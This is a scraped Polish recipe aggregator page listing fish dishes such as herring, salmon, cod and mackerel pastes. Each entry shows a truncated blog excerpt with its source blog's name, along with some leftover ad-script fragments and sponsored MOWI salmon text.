zjadł wszystkie (niemal wszystkie) zanim zdążyłem zrobić zdjęcia. Jedno szybkie ujęcie tylko zrobiłem więc jest jak jest. Bo ojciec od dawna cały w nerwach chodzi. Pamiętacie tę historię o rybach ( TUTAJ )? Więc miała ona oczywiście dalszy ciąg. »»» CZYTAJ DALEJ

Marder&Marder Manufacture
Śledzie w oleju z cebulką 158

mnie nie tylko z okazji Świąt Bożego Narodzenia, ale przez cały rok. Z resztą kocham wszystkie rybki już od maleńkości :) Z reguły jest tak, że dzieciom ciężko przemycić rybę i jedynie jedz The post Śledzie w oleju z cebulką appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Śledzie po kaszubsku 122

Śledzie po kaszubsku to danie, które idealnie sprawdza się jako potrawa na Boże Narodzenie i Wielkanoc, jako przekąska na Sylwestra, czy też inną imprezę… a miłośnicy ryb, tacy jak ja, jędzą śledzie po kaszubsku caaały rok, bo są naprawdę pyszn The post Śledzie po kaszubsku appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Pyszna pasta z tuńczyka - na kanapki 170

jajek na twardo i ich przestudzenia. Kiedy będzie to gotowe, odsaczamy tuńczyka i razem z serem wrzucamy go do miseczki. Siekamy drobno szczypiorek i  delikatnie soląc mieszamy z rybą. Ogórek i obrane jajko kroimy w drobna kostkę i łączymy z reszta składników.  Całość dokładnie ugniatamy, tak aby powstała jednolita masa. Doprawiamy do smaku i jemy :) Smacznego

ChilliJemy
Sałatka z makreli pikantna 96

szklimy na maśle z olejem. Marchew ścieramy na tarce i dodajemy do cebuli. Dusimy aż marchewka zmięknie. Dodajemy koncentrat pomidorowy – miksujemy wszystko by warzywa bardziej się rozdrobniły. Dodajemy rybę oddzieloną od ości oraz przyprawy, mieszamy. Doprawiamy do smaku. Artykuł Sałatka z makreli pikantna pochodzi z serwisu Dorota Smakuje

Dorota Smakuje
Zębacz duszony z warzywami 132

Składniki: 300 g fileta z zębacza smugowego lub innej ulubionej ryby 200 g cukinii 2 marchewki 1 zielona papryka 4 łyżki sosu sojowego 4 łyżki sosu chili z ananasem pieprz, … Czytaj dalej Zębacz duszony z warzywami

czarrna od kuchni
Pasta jajeczna z makrelą i groszkiem 205

Pasta jajeczna z makrelą i groszkiem przypadnie do gustu każdemu kto kocha wędzone ryby. Przygotowuje się ją dość szybko. Jedyne co zajmie nam nieco czasu, to oddzielanie makreli od ości – tutaj musicie zachować ostrożność, szczególnie wtedy, kiedy pastę będziecie podawać dzieciom. Oprócz wędzonej makreli będziecie potrzebować także jajek, groszku z puszki, odrobinę szczypioru, odrobinę majonezu oraz dużą ilość pieprzu

Kuchnia Bazylii
Łosoś pod kołderką z orzeszków pini, natki pietruszki i mozzarelli 159

Dzień dobry :-) Jeśli nie macie pomysłu na obiad, a lubicie ryby, to polecam Wam łososia pod kołderką z orzeszków pini, natki pietruszki i mozzarelli. Moi panowie stęsknili się za tą rybką. Ostatnio mniej ją kupujemy ze względu na to, że wszędzie trąbią ile to ona ma w sobie chemii. No niestety trują nas teraz na każdym kroku i to jest

kruche babeczki
Sardynki z patelni, prosto z Portugalii 109

Dzisiejszy wpis spontaniczny. Jesteśmy w Portugalii w Vila Praia de Ancora. Każdego ranka idziemy na rybny targ, kupić świeże ryby na kolację. Na jednym ze stoisk, leżały nieznane nam rybne filety

Stare Gary
Sos musztardowy 198

Jak wiadomo każda sałatka powinna być delikatnie skropiona oliwą, albo sosem sałatkowym. Dziś pokażę Wam jak w prosty sposób przygotować sos musztardowy, który idealnie będzie pasował

Kulinarnyblog.pl - wiesz jak gotować!
Kwiaty z ciasta nadziewane wędzonym łososiem i ryżem 128

window.adsbygoogle || []).push({}); To też może Cię zainteresować: → Mus z koziego sera, galaretką z czerwonego wina i chipsami z buraczka → Mus z wędzonego łososia w sosie z rukoli → Mus z ryby w kremowym sosie z oscypka → Łosoś z czerwonym pieprzem, fenkułem i sosem pomarańczowo – śmietankowym → Łosoś z jagodami goji i szafranowym amarantusem z cukinią

Oryginalny smak
Klopsiki z dorsza z makaronem z grochu i pesto z bobu 163

miksuję blenderem. Wlewam stopniowo olej i dalej miksuję. Na końcu doprawiam solą. Klopsiki: Filet z dorsza bez skóry i ości mielę maszynka do mięsa razem z obraną cebulą. Do ryby dodaję migdały, jajko, sól, pieprz, majeranek, płatki chili, koperek i wyrabiam całość. Formuję nieduże kotleciki które obtaczam w panierce z sezamu i migdałów. Kotleciki układam na blaszce wyłożonej papierem

wesoła kuchnia
Pstrąg łososiowy z piekarnika 105

Lubicie ryby? Wiem z ciężkim sercem się je teraz kupuje bo są bardzo drogie, ale od czasu do czasu warto. my lubimy pstrąga łososiowego, jest smaczny, mięsny, i przypomina łososia. I najlepiej go przyrządzić w piekarniku, w folii bo nie traci dzięki temu wody i nadal pozostaje soczysty. Piekłam oczywiście w moim nowym piekarniku Electrolux SenseCook EOE7P31X . Czytaj więcej

Bernika - moj kulinarny pamietnik
Pieczony dorsz podany na risotto z cukinią 135

żaroodpornym ułożyć umyte, osuszone oraz posmarowane z każdej strony oliwą polędwiczki. Oprószyć je solą i pieprzem. Parmezan i bułkę tartą wymieszać ze sobą, podsypać nimi z wierzchu każdy kawałek ryby. Piec w 190 stopniach około 10 minut. Podawać kremowe risotto razem z upieczonym dorszem zaraz po przygotowaniu. Smacznego

Wino Francja Kuchnia
Łosoś na parze z warzywami i szpinakiem 150

Składniki 2 kawałki łososia ze skórą 1 brokuł 250 g szpinaku 3 ząbki czosnku przyprawa do ryb sól, pieprz sos: 1 jogurt naturalny 2-3 ząbki czosnku 1 łyżka posiekanego koperku … Czytaj dalej Łosoś na parze z warzywami i szpinakiem

czarrna od kuchni
Warzywna sałatka z tuńczykiem po meksykańsku 114

moja niejednokrotnie sprawdzona propozycja na pyszną przekąskę lub lekki, ale pożywny posiłek.  Jest naprawdę smaczna oraz bardzo prosta w przygotowaniu. Zresztą uwielbiam sałatki z tuńczykiem, choć sama ryba do mnie nie przemawia. To kto pisze się na takie połączenie? Szczerze polecam! 2 puszki tuńczyka 1 puszka czerwonej fasoli 1 puszka kukurydzy 1 czerwona papryka 2 marchewki 2 łyżki przecieru

Di gotuje
Kwiaty z ciasta nadziewane wędzonym łososiem i ryżem 104

window.adsbygoogle || []).push({}); To też może Cię zainteresować: → Mus z koziego sera, galaretką z czerwonego wina i chipsami z buraczka → Mus z wędzonego łososia w sosie z rukoli → Mus z ryby w kremowym sosie z oscypka → Łosoś z czerwonym pieprzem, fenkułem i sosem pomarańczowo – śmietankowym → Łosoś z jagodami goji i szafranowym amarantusem z cukinią

Oryginalny smak
Sushi z wędzonym łososiem, mango i warzywami 140

sosem sojowym i marynowanym imbirem. #lososmowi Na każdym etapie hodowli starannie wybieramy łososie, które Wam podamy – dzięki temu jesteśmy w stanie zapewnić Wam łososia najlepszego z najlepszych – tylko takie ryby zaliczają się do Ekskluzywnego Klubu Łososia MOWI. To proste: w świecie bez alternatyw alternatywą jest MOWI. https://mowisalmon.pl

Szalona Kuchnia Eweliny
Pizza z łososiem w towarzystwie egzotycznych owoców 132

przez około 25-30 minut.  Na każdym etapie hodowli starannie wybieramy łososie, które Wam podamy – dzięki temu jesteśmy w stanie zapewnić Wam łososia najlepszego z najlepszych – tylko takie ryby zaliczają się do Ekskluzywnego Klubu Łososia MOWI. #lososmowi

Szalona Kuchnia Eweliny
Quiche z wędzonym łososiem, serem pleśniowym i owocową nutą 151

gorąco lub zimno posypany rukolą. Na każdym etapie hodowli starannie wybieramy łososie, które Wam podamy – dzięki temu jesteśmy w stanie zapewnić Wam łososia najlepszego z najlepszych – tylko takie ryby zaliczają się do Ekskluzywnego Klubu Łososia MOWI. #lososmowi To proste: w świecie bez alternatyw alternatywą jest MOWI

Szalona Kuchnia Eweliny
Ravioli z łososiem i koperkowo-orzechowym masełkiem 117

dobre?  Przepisy przepełnione dobrem MOWI. Na każdym etapie hodowli starannie wybieramy łososie, które Wam podamy – dzięki temu jesteśmy w stanie zapewnić Wam łososia najlepszego z najlepszych – tylko takie ryby zaliczają się do Ekskluzywnego Klubu Łososia MOWI

Szalona Kuchnia Eweliny
Pieczony łosoś z miodowej marynacie 161

Upieczenie łososia do trudnych rzeczy nie należy. Jednak, aby nadać mu wyjątkowy smak bardzo ważna jest marynata. Pieczony łosoś z miodowej marynacie jest delikatnie słodki i

Kulinarnyblog.pl - wiesz jak gotować!
Śledzie po sułtańsku 127

Kawałki ryby w towarzystwie niezwykle aromatycznej mieszanki to świetna propozycja dla fanów śledzika w pomidorach z nutą słodkości i delikatnym akcentem ostrości. Składniki: 500g płatów śledziowych Matias sok z 1 cytryny Zalewa pomidorowa: 4 czerwona cebule 300g przecieru pomidorowego 2 łyżki koncentratu pomidorowego 4 łyżki ketchupu pikantnego 150g rodzynek 1/2 łyżeczki koncentratu chilli 1 łyżeczka cukru trzcinowego Wykonanie: 1. Filety

Szalona Kuchnia Eweliny
Tatar z łososia, mango i kolendry 87

coś naprawdę pysznego. Głównym bohaterem jest łosoś, za którym My się musiał trochę nachodzić. Moje plany co do potraw były zupełnie inne, ale że dostępne były tylko wędzone ryby... raczę Was czymś innym. I tak na pierwszy strzał idzie tatar. Drugi przepis postaram się opublikować jeszcze w ten weekend. Składniki: 50 g łososia wędzonego na zimno MOWI Pure 1 dojrzałe

Kardamonovy
Makaron z łososiem w sosie śmietanowo-cytrynowym 178

Makaron z łososiem w sosie śmietanowo-cytrynowym to jedno z moich ulubionych dań z tą rybą w roli głównej. Do jego wykonania świetnie pasuje makaron tagliatelle, ale nic nie stoi na przeszkodzie, by użyć np. makaronu spaghetti. (adsbygoogle = window.adsbygoogle || []).push({}); Sos śmietanowo-cytrynowy ma delikatny smak, który na pewno przypadnie Wam do gustu. Ja z reguły dodaję do niego samą

Kulinarne Przeboje
Fast Fish Food – czyli błyskawiczny makaron z łososiem w sosie śmietanowym 178

połowę. Na patelni rozgrzej odrobinę oleju, wrzuć cebulę i smaż aż zmięknie i nabierze lekko brązowego koloru, dodaj czosnek i smaż przez minutę. Pokrój łososia na kawałki i wrzuć rybę na patelnię. Dodaj szpinak oraz przyprawy – bazylię, pieprz i sól. Śmietanę wlej na patelnię. Możesz dodaj odrobinę wody. Całość doprowadź do wrzenia i zdejmij z ognia. Polej sosem gorący

Eat me! Fit me!
Curry z dorszem i szparagami 128

Curry z dorszem i szparagami to świetny sposób na przemycenie ryby nawet dla najbardziej opornych domowników. Do tego zielone szparagi, które czynią to danie mocno sezonowym. Całość w pysznym, lekko pikantnym i rozgrzewającym curry sprawia, że to naprawdę świetny pomysł na obiad w chłodny majowy dzień. Inne przepis ze szparagami znajdziecie TUTAJ . Składniki /4 porcje/: 1 filet dorsza (można też

Pasja Smaku
Śledzik w pomidorach z nutą słodkości 157

Kawałki ryby w towarzystwie niezwykle aromatycznej mieszanki dojrzewających w słońcu pomidorów, słodkiej żurawiny, pikantnej cebulki i chrupiących orzechów to świetna propozycja dla fanów śledzika w pomidorach z nutą słodkości i delikatnym akcentem ostrości. Idealnie sprawdzą się na każdym imprezowym stole. Składniki: 800g płatów śledziowych Matias 5 czerwonych cebul 160g suszonej żurawiny 480g koncentratu pomidorowego Pudliszki 100g orzechów włoskich 2 łyżki

Szalona Kuchnia Eweliny
Dorsz w suszonych pomidorach na purée ziemniaczano-szpinakowym 184

cytryny blendujemy na gładką masę. 2. Blachę do pieczenia wykładamy papierem. Kładziemy na papierze filety z dorsza, smarujemy je pastą z suszonych pomidorów z każdej strony. 3. Pieczemy rybę w piekarniku nagrzanym do temperatury 170°C i pieczemy przez około 15 minut. Pur é e ziemniaczano-szpinakowe: 1. Ziemniaki myjemy, obieramy ze skórki, gotujemy w osolonej wodzie do miękkości

W kuchni Katie
Poduszeczki z ciasta francuskiego z farszem tuńczykowo-pomidorowym 124

Dzisiaj, z racji tego, że mamy dla Was pyszną przekąskę z tuńczykiem w roli głównej, powiemy Wam kilka słów o rybach. Muszę Wam powiedzieć, że najlepszą rzeczą na świecie jest wędkarstwo. Serio. Nie ma piękniejszego uczucia, niż kiedy wyciągasz spławik z wody, a tam na haczyku dwumetrowy okoń. Coś wspaniałego. Niestety moja żona i syn się nie znają

Marder&Marder Manufacture
Dorsz w sosie z zielonego groszku, mięty i koperku 87

Smaczna, aromatyczna i delikatna ryba podana na mieszance zdrowych kasz, z rewelacyjnym sosem pachnącym limonką na bazie zielonego groszku, świeżego koperku i orzeźwiającej mięty, to świetny pomysł dla fanów dań rybnych w nowatorskiej odsłonie. Składniki: 650 dorsza około 5 kawałków 180g kaszy mix bulgur i quinoa olej sól pieprz cytrynowy Sos z zielonego groszku: 350g zielonego groszku (mrożonego) 1 cebula

Szalona Kuchnia Eweliny
DORSZ W SOSIE MAŚLANO-WINNYM Z OLIWKAMI I POMIDORKAMI 109

razie potrzeby dodajemy syrop klonowy lub miód. Doprawiamy solą i szczyptą chili do smaku. Smażymy 1-2 minuty w zależności od grubości filetów. Przed podaniem na każdym kawałku ryby kładziemy 1 łyżeczkę pesto

cool and minty
Kotlety pulpety rybne w marynacie 100

przykryciem. Doprawić do smaku solą i cukrem. Ostudzić. Kotlety : cebule pokroić w kostkę. Poddusić, nie rumieniąc na tłuszczu, dodając szczyptę soli i cukru. Kajzerkę namoczyć w wodzie. Odcisnąć. Rybę, cebulę i bułkę zemleć w maszynce do mięsa. Doprawić do smaku solą, pieprzem i imbirem (około 1/2 łyżeczki). Dodać rozbełtane jajko. Dokładnie wymieszać. Formować niewielkie kotleciki, oprószać bułką tartą i smażyć

królestwo garów
Kotlety rybne z zieleniną 99

łyżki siekanego szczypiorku, cukier, olej/oliwa do smażenia, bułka tarta do oprószenia kotletów Cebule pokroić w kostkę. Poddusić, nie rumieniąc na tłuszczu, dodając szczyptę soli i cukru. Kajzerkę namoczyć. Odcisnąć. Rybę, cebulę i bułkę zemleć w maszynce do mięsa. Dodać zieleninę (koperek i szczypiorek). Doprawić do smaku solą i pieprzem i imbirem. Dodać rozbełtane jajko. Dokładnie wymieszać. Formować niewielkie kotleciki, oprószać

królestwo garów
Śledzie gajowego , z żurawiną 107

Śledzie gajowego z żurawiną Śledzie gajowego , to mój pomysł na pyszną rybkę . Śledzie to zawsze genialna potrawa . Nie ważne w jakim wydaniu ja kocham je pod

Ogrodnik w podróży
Dorsz pieczony z porami 94

rzepakowy Pora kroimy w półplasterki i smażymy do miękkości. Na dno naczynia żaroodpornego wykładamy usmażonego pora, kładziemy na niego filety dorsza, całość posypujemy solą i świeżo zmielonym pieprzem. na rybie układamy plasterki cytryny. Wszystko pieczemy w 200 stopniach około 20 minut

Kardamonovy
Pasta z jajek i makreli wędzonej 105

zrobić pastę z jajek i makreli wędzonej: Makrelę obieramy z ości, rozgniatamy widelcem. Jajka ugotowane na twardo i ostudzone, obieramy ze skorupki, ścieramy na tarce o malutkich oczkach. Rybę i jajka mieszamy z majonezem, ziołami i przyprawami, doprawiamy do smaku. Artykuł Pasta z jajek i makreli wędzonej pochodzi z serwisu Dorota Smakuje

Dorota Smakuje
Terrina ze śledzi 184

pieprz 150 ml wody 4 łyżki żelatyny 1/2 cytryny 1 łyżka octu winnego białego do dekoracji kiełki słonecznika do podania ocet winny biały i pieczywo dodatkowo mleko do zalania ryby WYKONANIE Dzień wcześniej: Filety śledziowe zalać w proporcji pół na pół wodą i mlekiem, po czym włożyć do lodówki na całą noc. W dzień przygotowania terriny: Cebule obrać, pokroić

Passions hobbies life
Wtorek: Sałatka z pieczonego łososia, soczewicy i szparagów 116

Dokładnie wymieszaj całość, aż cukier rozpuści się w płynie. Glazura ma płynną konsystencję. Krok 2 Oczyść i osusz łososia. Pokrój na pasy, włóż do żaroodpornego naczynia, zalej glazurą. Obtocz rybę w marynacie. Odstaw na czas nagrzewania się piekarnika. Nagrzej piekarnik do 220 stopni. Wstaw naczynie z łososiem. Piecz 15-18 minut. Wyjmij z piekarnika i odstaw do przestudzenia. Krok

Niedzielny kucharz
Grillowany łosoś pomarańczowy na duszonym czosnku niedźwiedzim 103

czosnek traci swoje zdrowotne właściwości. Rozgrzewamy patelnię grillową smarujemy delikatnie oliwą i układamy na niej łososia. Grillujemy 2-4 minuty z każdej strony. Czas grillowania zależy od grubości ryby. Na talerz wykładamy porcję duszonego czosnku, na nim układamy kawałek łososia. Danie podajemy z ziemniakami. Plastry pomarańczy do dekoracji poddusiłam na patelni z odrobiną soku pomarańczowego i miodu. Notes - łosoś bałtycki

Wędrówki po kuchni
Sałatka ze śledziem solonym i kaszą gryczaną 118

gryczana i śledź solony. A tu podrzucam kilka innych dodatków, które sama często przemycam do sałatek: - warzywny pasztet (pokrojony w mniejsze kawałki), jak ten przepyszny  z czerwonej soczewicy - ryby np. wędzone lub pieczone - pokruszony twaróg lub inny ser - omlet/naleśnik w formie rollsów - hummus - ciecierzyca i inne strączki - bataty, buraki, dynia Na blogu znajdziecie też kilka innych przepisów

HealthyCreations
IDEALNE, WIOSENNE ŚNIADANIE – ZAPIEKANE AWOKADO I CHRUPIĄCE TOSTY 119

jajkiem i chrupiące tosty z nowymi filetami śledziowymi z pomidorami i szczypiorkiem. Śniadanie pyszne, szybkie, lekkie i zdrowe! Ps. nie wiem czy wiecie, ale śledź jest wysoko cenioną rybą – zawiera kwasy z rodziny omega-3, które odpowiadają również za prawidłową odporność organizmu, wspomagają pracę układu nerwowego i wzmacniają kości oraz mięśnie. Śledzie bogate są również w witaminy z grupy

Ostra na Słodko
Kotlety makaronowe z paluszkami krabowymi 100

Masę włożyć na 30 minut do lodówki. Uformować kotlety i smażyć na patelni, na oleju. Myślę, że jeśli nie lubi się surimi można ten składnik zamienić np. na dowolną rybę, szynkę, mięso gotowane z kurczaka lub dodać inne warzywa

Przepisy Mikołaja
Szpinakowa tortilla z rybą 93

cienko i piec na patelni bez tłuszczu przez pół minuty z każdej strony. Ciepłą tortillę posmarować sosem, ułożyć pociętą w cienkie paseczki marchewkę, sałatę, ogórka kiszonego oraz paski usmażonej ryby. Zwinąć rulon i jeść z apetytem

Przepisy Mikołaja
DORSZ Z SZAŁWIĄ, POMIDORKAMI KOKTAJLOWYMI POD MIMOLETTE 161

filet z dorsza sól ziołowa, pieprz 2 łyżki masła plasterki cytryny kilka listków szałwii garść pomidorków koktajlowych opcjonalnie (dla tych, którzy mogą i chcą): ser mimolette lub ser wegański Rybę posypujemy solą ziołową lub zwykłą, na wierzch kładziemy masło, listki szałwii i cytrynę, dodajemy przekrojone pomidorki. Całość posypujemy pieprzem i startym serem (niedużo). Zapiekamy około 20-30 minut w temperaturze

Cytryna&Co.
Przegrzebki 007 ;) z Martini extra dry 124

pysznej kawy, bo obok zostawiłam samochód na myjni. A że jak człowiek głodny, to zawsze nakupuje wszystkiego i ma na wszystko ochotę, tym razem padło na stoisko z rybami, na którym w zeszłym tygodniu zaopatrzyłam się w pyszne dorady, które pan sprzedawca kurtuazyjnie mi wypatroszył ;) Dzisiaj, zmęczona całym tygodniem stwierdziłam, ze zrobię coś szybkiego i lekkiego. I tak padło

Cytryna&Co.
Pieczony łosoś - zapiekanka ekspresowa 114

Kiedy nie ma czasu, dania jedno-garnkowe, jedno-brytfankowe są najlepszym wyjściem, żeby w pół godziny przygotować pyszny obiad. Bardzo często piekę w ten sposób rybę lub nawet mięso. Korzystam z gotowych ugotowanych ziemniaków - wtedy jest znacznie szybciej. Można też obrać i obgotować ziemniaki samemu, ale wtedy potrzebujemy dodatkowych 20 minut. Składniki: Spory kawałek łososia (ja obieram ze skóry

Cytryna&Co.
Pierogi z rybą 117

bułki tartej, tłuszcz do smażenia cebuli (u mnie oliwa), ciasto : ciasto na pierogi : 400 g mąki, gorąca woda, sól, Farsz : Cebulę pokroić w kostkę, poddusić na tłuszczu. Cebulę i rybę zemleć w maszynce do mielenia. Masę doprawić do smaku solą, pieprzem i imbirem. Dodać rozbełtane jajko i bułkę tartą. Dokładnie wymieszać. Ciasto : mąkę przesiać do miski, dodać szczyptę soli, wymieszać

królestwo garów
Śledzie w sosie musztardowym 105

Cebulę obrać i pokroić w bardzo drobną kostkę, po czym przełożyć do miski. Dodać jogurt naturalny, obie musztardy i majonez, wymieszać i doprawić niewielką ilością soli i pieprzu. Rybę dobrze odsączyć na sitku, pokroić na mniejsze kawałki i dodać do sosu. Wymieszać, nałożyć folię i włożyć do lodówki na co najmniej jeden dzień. Sałatkę można posypać przed podaniem posiekanym koperkiem

Passions hobbies life
Piątek: Krewetkowy chowder z pure ziemniaczanym 100

resztki pure Dzisiaj chowder jest na liście niemal narodowych dań kuchni amerykańskiej. Gotowany jest na różne sposoby, ale zawsze jako danie jedno garnkowe i zawsze w spisie ingrediencji są ryby, kraby lub owoce morza. Nieodłącznym składnikiem jest też mięso – wieprzowina. Przed wiekami stanowiła ona o treści zupy. W naszym chowderze też znajdziecie ślady tradycyji – zamiast wieprzowiny jest zesmażony

Niedzielny kucharz
Tatar ze śledzia i awokado 100

Tatar ze śledzia i awokado to zdrowa i łatwa do zrobienia przekąska. Danie jest soczyste i pełne smaków. Idealna przystawka na każde przyjęcie smakująca nawet osobom, które nie lubią ryby.  Śledzie bardzo lubię, ale zdecydowanie zbyt rzadko spożywam. Najczęściej robię je z cebulą lub w pomidorach, ale ostatnio bardzo mi posmakowały w formie tatara. Śledzie świetnie komponują się

Kuchcik gotuje
Kotlety rybne 67

mielony, imbir suszony, cukier, olej do smażenia, bułka tarta do oprószenia kotletów Cebule pokroić w kostkę. Poddusić, nie rumieniąc na tłuszczu, dodając szczyptę soli i cukru. Kajzerkę namoczyć. Odcisnąć. Rybę, cebulę i bułkę zemleć w maszynce do mięsa. Doprawić do smaku solą, pieprzem i imbirem (około 1/2 łyżeczki). Dodać rozbełtane jajko. Dokładnie wymieszać. Formowa niewielkie kotleciki, oprószać bułką tartą

królestwo garów
Prosta zupa rybna 103

wywarze rybnym, ale w zamrażarce miałam jedynie wywar na kurzynie - też się sprawdził. Jeżeli wolicie bardziej treściwe zupy, możecie dodać ziemniaki. Polecam! składniki (3 porcje) 300g filetów z ulubionej ryby (użyłam polędwicy dorsza atlantyckiego) 1000 ml bulionu najlepiej rybnego ale może być każdy 400 g krojonych pomidorów z puszki 1 szalotka, pokrojona w kostkę 2 - 4 ząbki czosnku

Stare Gary
Słodko-kwaśny gulasz z owocami morza 192

Składniki: 400 g mieszanki owoców morza 100 fileta z ulubionej ryby 1 puszka ananasa 1 puszka kukurydzy 1 czerwona papryka 2 cebule 1 słoiczek koncentratu pomidorowego (200 g) 1 łyżka … Czytaj dalej Słodko-kwaśny gulasz z owocami morza

czarrna od kuchni
Tartaletki z makrelą i oliwkami 137

Małe, niezobowiązujące tartaletki to świetna propozycja na imprezową przekąską. Jeśli wykorzystamy do przygotowania gotowe spody z kruchego ciasta przygotowanie dania nie zajmie więcej niż kilkanaście minut. Wyrazisty smak ryby oraz oliwek w połączeniu z słodkawą cebulką, świeżą dymką oraz kruchym ciastem stanowi smaczną, drobną przystawkę imprezową. Składniki: (na 12sztuk) ciasto: 100g masła 100g mąki pszennej 100g mąki pełnoziarnistej 2 łyżki

Pyry na Gaz
Sałatka śledziowa po hawajsku 110

Kawałki ryby w towarzystwie niezwykle aromatycznej mieszanki przypraw z całego świata, słodkiej kukurydzy i egzotycznego ananasa to świetna propozycja dla fanów śledzika z nutą słodkości. Składniki: 700g płatów śledziowych Matias 200g kukurydzy 2 czerwona cebule 320g świeżego ananasa Sos: 5 łyżek majonezu 3 łyżki jogurtu naturalnego 1 łyżeczka curry 1 łyżeczka ostrej papryki 1 łyżeczka soku z cytryny szczypta cukru

Szalona Kuchnia Eweliny
Rybne curry z krewetkami i groszkiem cukrowym 164

Składniki: 400 g filetów z ulubionej ryby, u mnie polędwica z mintaja 200 g krewetek białych 100 g groszku cukrowego 1 puszka mleczka kokosowego kawałek świeżego imbiru, ok. 3 cm … Czytaj dalej Rybne curry z krewetkami i groszkiem cukrowym

czarrna od kuchni
Grzanki z łososiem wędzonym, jabłkiem i serem cheddar 117

łososia, sera czy czerstwego pieczywa. Grzanki z łososiem wędzonym, jabłkiem i serem cheddar najlepiej podawać posypane świeżą cebulką dymkiem, która nadaje delikatnej ostrości i koperkiem, lubiącym się bardzo z rybami. Grzanki najlepiej spożywać przy pomocy noża i widelca :) The post Grzanki z łososiem wędzonym, jabłkiem i serem cheddar appeared first on Moja Delicja

Moja Delicja
Śledzie w aromatycznym sosie 113

Zwolenników śledzi jest wielu. Śledzik w oleju z cebulką jest chyba najbardziej popularny, potem prym wiodą rolmopsy, a później sałatki. Z ryby tej można zrobić również dania gorące, przekąski, przyrządzić farsz do warzyw. Dziś proponuję śledzika w aromatycznym sosie 😊 Składniki: (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function

Kulinarne przemyslenia
Paprykarz idealny 139

Była sobie wizyta u Giena, a przy okazji wizyty wrąbaliśmy z Marcinem cały słoik paprykarzu, który Gieno przywiózł z Białegostoku (sic!). Ten paprykarz chodził po głowie

slodkokwasnapl
Pasta z makreli. 179

kojarzy się z weekendem musi być dobre :) Składniki: 1 wędzona makrela 1 cebula 2 ogórki konserwowe 2 łyżki majonezu 2 łyżki posiekanego szczypiorku sól świeżo zmielony pieprz Wykonanie: Rybę dokładnie oczyścić z ości. Cebulę drobno posiekać i sparzyć wrzątkiem. Dokładnie odsączyć. Ogórki pokroić w drobną kostkę. Wszystkie składniki umieścić w misce, dodać majonez. Doprawić solą i świeżo zmielonym pieprzem Dokładnie

zadanie-gotowanie
Łosoś smażony z cukinią 119

najpierw od strony skóry, do czasu aż mięso z łososia przestanie być surowe na 2/3 grubości, a następnie obrócić filety na drugą stronę i smażyć jeszcze krótką chwilę aż ryba przestanie być surowa (nie za długo, żeby łosoś pozostał soczysty). W głębokich talerzach ułożyć podsmażoną cukinię z pomidorkami, a na to kawałki łososia. Przed podaniem skropić całość delikatnie sokiem

Kulinarne Przeboje
PURE Z SELERA, PODANE Z ŁOSOSIEM I PIECZONĄ DYNIĄ. 83

kiełki z jarmużu olej lniany  pietruszka PRZYGOTOWANIE :  Seler kroimy w kostkę i gotujemy w mleku i wodzie do miękkości. Następnie lekko solimy i blendujemy na piure. Rybę doprawiamy solą i pieprzem, następnie pieczemy w piekarniku około 20 minut.  Dynię kroimy w kostkę i podpiekamy na odrobinie oleju z tymiankiem.  Pietruszkę obieramy i kroimy na cieniutkie paseczki

Kulinarne Fantazje Marioli
Pierwsze kulinarne wyróżnienie 93

Muszę się pochwalić. Zdobyłem pierwsze w życiu wyróżnienie, jeżeli chodzi o kulinaria. Otrzymałem je w konkursie zorganizowanym przez firmę Kamis, który polegał na przedstawieniu jak grillujemy ryby. Pstrąg z koperkiem i masłem jednak jest niezawodny pod względem smaku, jak i apetycznego wyglądu. Konkurs zakończył się mniej więcej 2 tygodnie temu, a dziś kurier dostarczył paczkę z nagrodą, w której znalazł

Programista w kuchni
Sałatka śledziowa „do wódki” 174

lodówki, aby smaki się przegryzły. W lodówce może stać do dwóch tygodni. [caption id="attachment_7947" align="aligncenter" width="1024"] Sałatka śledziowa „do wódki”[/caption] Zobacz inne sałatki z rybą w roli głównej: Warstwowa Sałatka Śledziowa Szuba Sałatka Ziemniaczana Z Tuńczykiem Warstwowa Sałatka Śledziowa Z Papryką Szybka Sałatka Z Tuńczykiem Sałatka Ze Szprotkami Na Krakersach Sałatka Warstwowa Z Tuńczykiem

e-PrzepisyKulinarne
Makaron z łososiem, suszonym pomidorem, żurawiną i orzechami włoskimi 108

Dzień dobry :-) Dzisiaj szybka propozycja na obiad, pod warunkiem, że lubicie ryby ;-). My bardzo i tym razem zrobiliśmy łososia z żurawiną, suszonym pomidorem i orzechami włoskimi, do tego sos śmietanowy i wyszło pysznie. Danie szybkie, proste i bardzo smaczne :-) Polecam i miłego piątku Wam życzę :-) Składniki: około 300 g filetu z łososia kilka suszonych pomidorów 3/4 szklanki żurawiny 3/4 szklanki

kruche babeczki
Śledzie w sosie pomidorowym z powidłami śliwkowymi 199

pomidorowy i ocet. Tym razem dorzuciłam do podstawowych składników powidła śliwkowe domowej roboty i śladowe ilości cynamonu. Tak tak, cy-na-mo-nu. Pomidory i cynamon bardzo się lubią. Ryba, cynamon, święta, te sprawy. Wiecie o co chodzi. Składniki: 4 solone filety śledziowe 1 cebula puszka pomidorów 1 czubata łyżka powideł śliwkowych 1 łyżeczka octu winnego liść laurowy szczypta cynamonu

Kardamonovy
Menu na tydzień: Przedświąteczna dieta oczyszczająca 138

rzymskim, post dawno już zniesiono, jednak w pokoleniu naszych rodziców żywa jest jeszcze pamięć ostrej głodówki poprzedzającej Boże Narodzenie. Obowiązywał zakaz jedzenia wyrobów mięsnych, jajek, nabiałów, generalnie rządziły kasze, ryby i zupy na oleju. Po czterotygodniowym poście kolacja wigilijna musiała mieć zupełnie inny smak. Dieta oczyszczająca Post stanowi istotną część wielu religii. Dość często poszczą Hindusi, którzy na religijną dietę

Niedzielny kucharz
Sałatka z łososiem, pomarańczami i orzechami 107

rzepakowy extra virgin (można użyć oliwy) (przepis na 3 porcje) Łososia kroimy w dużą kostkę, doprawiamy imbirem i sosem sojowym, odstawiamy na 10 minut. Po tym czasie smażymy kawałki ryby (na zwykłym oleju rzepakowym) do zrumienienia ze wszystkich stron.  Pomarańcze obieramy ze skóry, najlepiej nożem, w taki sposób żeby nie pozostała na nich biała błona. Później je filetujemy - wycinamy

Kardamonovy
Wigilijny karp w ziołowej panierce czyli przepis inny niż wszystkie 157

